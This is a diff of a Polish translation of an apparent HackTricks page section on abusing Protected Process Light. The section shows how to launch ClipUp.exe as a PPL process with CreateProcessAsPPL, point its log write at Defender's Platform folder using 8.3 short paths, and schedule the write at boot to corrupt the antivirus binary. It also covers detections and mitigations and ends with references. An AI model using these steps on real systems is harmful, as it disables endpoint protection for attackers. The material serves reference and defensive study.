-* Niepodpisane lub zmodyfikowane binaria mogą otwierać named-pipe RPC endpoints (np. `\\RPC Control\\ZSATRayManager_talk_to_me`).
-* Zaatakowany host zyskuje nieograniczony dostęp do sieci wewnętrznej zdefiniowanej przez polityki Zscaler.
+* Niesygnowane lub zmodyfikowane binaria mogą otworzyć named-pipe RPC endpoints (np. `\\RPC Control\\ZSATrayManager_talk_to_me`).
+* Zainfekowany host uzyskuje nieograniczony dostęp do sieci wewnętrznej zdefiniowanej politykami Zscaler.

-To studium przypadku pokazuje, jak decyzje zaufania wykonywane wyłącznie po stronie klienta i proste sprawdzenia sygnatur można obejść za pomocą kilku poprawek bajtowych.
+To studium przypadku demonstruje, jak decyzje oparte wyłącznie na zaufaniu po stronie klienta i proste kontrole podpisu można obejść kilkoma poprawkami bajtów.

 ## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs

-Protected Process Light (PPL) wymusza hierarchię signer/level, tak że tylko chronione procesy o równym lub wyższym poziomie mogą na siebie wpływać. W ataku, jeśli potrafisz legalnie uruchomić binarkę z włączonym PPL i kontrolować jej argumenty, możesz przekształcić nieszkodliwą funkcjonalność (np. logging) w ograniczony prymityw zapisu wspierany przez PPL do chronionych katalogów używanych przez AV/EDR.
+Protected Process Light (PPL) wymusza hierarchię podpisów i poziomów tak, że tylko procesy chronione o równym lub wyższym poziomie mogą nawzajem w nich ingerować. W ataku, jeśli możesz legalnie uruchomić binarkę z włączonym PPL i kontrolować jej argumenty, możesz przekształcić nieszkodliwą funkcjonalność (np. logowanie) w ograniczony, wsparty przez PPL prymityw zapisu skierowany przeciwko chronionym katalogom używanym przez AV/EDR.

 What makes a process run as PPL
 - The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
@ -785,7 +819,7 @@ stealing-credentials/credentials-protections.md
 {{#endref}}

 Launcher tooling
- Open-source helper: CreateProcessAsPPL (wybiera poziom ochrony i przekazuje argumenty do docelowego EXE):
+- Pomocnik open-source: CreateProcessAsPPL (wybiera poziom ochrony i przekazuje argumenty do docelowego EXE):
 - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
 - Wzorzec użycia:
 ```text
@ -796,19 +830,19 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
 CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
 ```
 LOLBIN primitive: ClipUp.exe
- The signed system binary `C:\Windows\System32\ClipUp.exe` samodzielnie się uruchamia i akceptuje parametr pozwalający zapisać plik logu do ścieżki wskazanej przez wywołującego.
- When launched as a PPL process, the file write occurs with PPL backing.
- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
+- Podpisany plik systemowy `C:\Windows\System32\ClipUp.exe` uruchamia się sam i akceptuje parametr do zapisania pliku dziennika w ścieżce określonej przez wywołującego.
+- Po uruchomieniu jako proces PPL, zapis pliku odbywa się z ochroną PPL.
+- ClipUp nie potrafi parsować ścieżek zawierających spacje; użyj krótkich ścieżek 8.3, aby wskazać na normalnie chronione lokalizacje.

 8.3 short path helpers
- List short names: `dir /x` in each parent directory.
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
+- Wyświetl krótkie nazwy: `dir /x` w każdym katalogu nadrzędnym.
+- Wyprowadź krótką ścieżkę w cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`

 Abuse chain (abstract)
-1) Uruchom PPL-capable LOLBIN (ClipUp) z `CREATE_PROTECTED_PROCESS` używając launchera (np. CreateProcessAsPPL).
-2) Przekaż argument ścieżki logu ClipUp, aby wymusić utworzenie pliku w chronionym katalogu AV (np. Defender Platform). Użyj krótkich nazw 8.3, jeśli potrzeba.
-3) Jeśli docelowy binarny plik jest zwykle otwarty/zablokowany przez AV podczas działania (np. MsMpEng.exe), zaplanuj zapis podczas bootowania przed uruchomieniem AV instalując usługę auto-start, która niezawodnie uruchamia się wcześniej. Zweryfikuj kolejność rozruchu za pomocą Process Monitor (boot logging).
-4) Po restarcie zapis z poparciem PPL następuje zanim AV zablokuje swoje binaria, co powoduje uszkodzenie pliku docelowego i uniemożliwia uruchomienie.
+1) Uruchom LOLBIN obsługujący PPL (ClipUp) z `CREATE_PROTECTED_PROCESS` korzystając z launchera (np. CreateProcessAsPPL).
+2) Przekaż argument ścieżki logu ClipUp, aby wymusić utworzenie pliku w chronionym katalogu AV (np. Defender Platform). Użyj krótkich nazw 8.3, jeśli to konieczne.
+3) Jeśli docelowy plik binarny jest zwykle otwarty/zablokowany przez AV podczas działania (np. MsMpEng.exe), zaplanuj zapis podczas rozruchu przed uruchomieniem AV przez zainstalowanie usługi auto-start, która niezawodnie uruchamia się wcześniej. Zweryfikuj kolejność rozruchu za pomocą Process Monitor (boot logging).
+4) Po ponownym uruchomieniu zapis z ochroną PPL następuje zanim AV zablokuje swoje pliki binarne, uszkadzając docelowy plik i uniemożliwiając uruchomienie.

 Example invocation (paths redacted/shortened for safety):
 ```text
@ -816,23 +850,23 @@ Example invocation (paths redacted/shortened for safety):
 CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
 ```
 Uwagi i ograniczenia
- Nie można kontrolować zawartości, które ClipUp zapisuje, poza miejscem ich umieszczenia; prymityw nadaje się do korupcji danych, a nie do precyzyjnego wstrzykiwania treści.
+- Nie można kontrolować zawartości, które zapisuje ClipUp poza miejscem umieszczenia; prymityw nadaje się do korumpowania danych, a nie do precyzyjnego wstrzykiwania zawartości.
 - Wymaga uprawnień lokalnego admina/SYSTEM do zainstalowania/uruchomienia usługi oraz okna na restart.
- Synchronizacja jest krytyczna: cel nie może być otwarty; wykonanie podczas rozruchu systemu unika blokad plików.
+- Czasowanie jest krytyczne: cel nie może być otwarty; wykonanie przy starcie systemu unika blokad plików.

-Wykrycia
- Tworzenie procesu `ClipUp.exe` z nietypowymi argumentami, zwłaszcza uruchamianego przez niestandardowe launchery, w okolicach rozruchu.
- Nowe usługi skonfigurowane do autostartu podejrzanych binarek i konsekwentnie uruchamiające się przed Defender/AV. Zbadaj tworzenie/modyfikację usług przed wystąpieniem błędów uruchamiania Defendera.
- Monitorowanie integralności plików w katalogach binarek/Platform Defendera; nieoczekiwane tworzenie/modyfikacje plików przez procesy z flagami protected-process.
- ETW/EDR telemetry: szukaj procesów utworzonych z `CREATE_PROTECTED_PROCESS` oraz anomalnego użycia poziomów PPL przez binarki niebędące AV.
+Wykrywanie
+- Tworzenie procesu `ClipUp.exe` z nietypowymi argumentami, zwłaszcza gdy rodzicem są niestandardowe launchery, w czasie uruchamiania systemu.
+- Nowe usługi skonfigurowane do autostartu podejrzanych binarek i konsekwentnie uruchamiające się przed Defender/AV. Zbadaj tworzenie/modyfikację usług przed wystąpieniem błędów startu Defendera.
+- Monitorowanie integralności plików dla binarek Defender/Platform; nieoczekiwane tworzenie/modyfikacje plików przez procesy z flagami protected-process.
+- Telemetria ETW/EDR: szukaj procesów utworzonych z `CREATE_PROTECTED_PROCESS` oraz anomalnego użycia poziomu PPL przez nie‑AV binarki.

 Środki zaradcze
- WDAC/Code Integrity: ogranicz, które podpisane binarki mogą działać jako PPL i pod jakimi rodzicami; zablokuj wywołania ClipUp poza legalnymi kontekstami.
+- WDAC/Code Integrity: ogranicz, które podpisane binarki mogą działać jako PPL i pod jakimi procesami rodzicami; zablokuj wywołania ClipUp poza legalnymi kontekstami.
 - Higiena usług: ogranicz tworzenie/modyfikację usług autostartu i monitoruj manipulacje kolejnością startu.
- Upewnij się, że Defender tamper protection i zabezpieczenia wczesnego uruchamiania są włączone; zbadaj błędy startu wskazujące na korupcję binarek.
- Rozważ wyłączenie generowania nazw 8.3 na woluminach hostujących narzędzia zabezpieczające, jeśli jest to zgodne z twoim środowiskiem (dokładnie przetestuj).
+- Upewnij się, że Defender tamper protection i early-launch protections są włączone; zbadaj błędy startu wskazujące na korupcję binarek.
+- Rozważ wyłączenie generowania krótkich nazw 8.3 na woluminach hostujących narzędzia zabezpieczające, jeśli jest to zgodne z Twoim środowiskiem (przetestuj dokładnie).

-References for PPL and tooling
+Odniesienia dotyczące PPL i narzędzi
 - Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
 - EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
 - Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
@ -853,4 +887,6 @@ References for PPL and tooling
 - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
 - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)

+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
+
 {{#include ../banners/hacktricks-training.md}}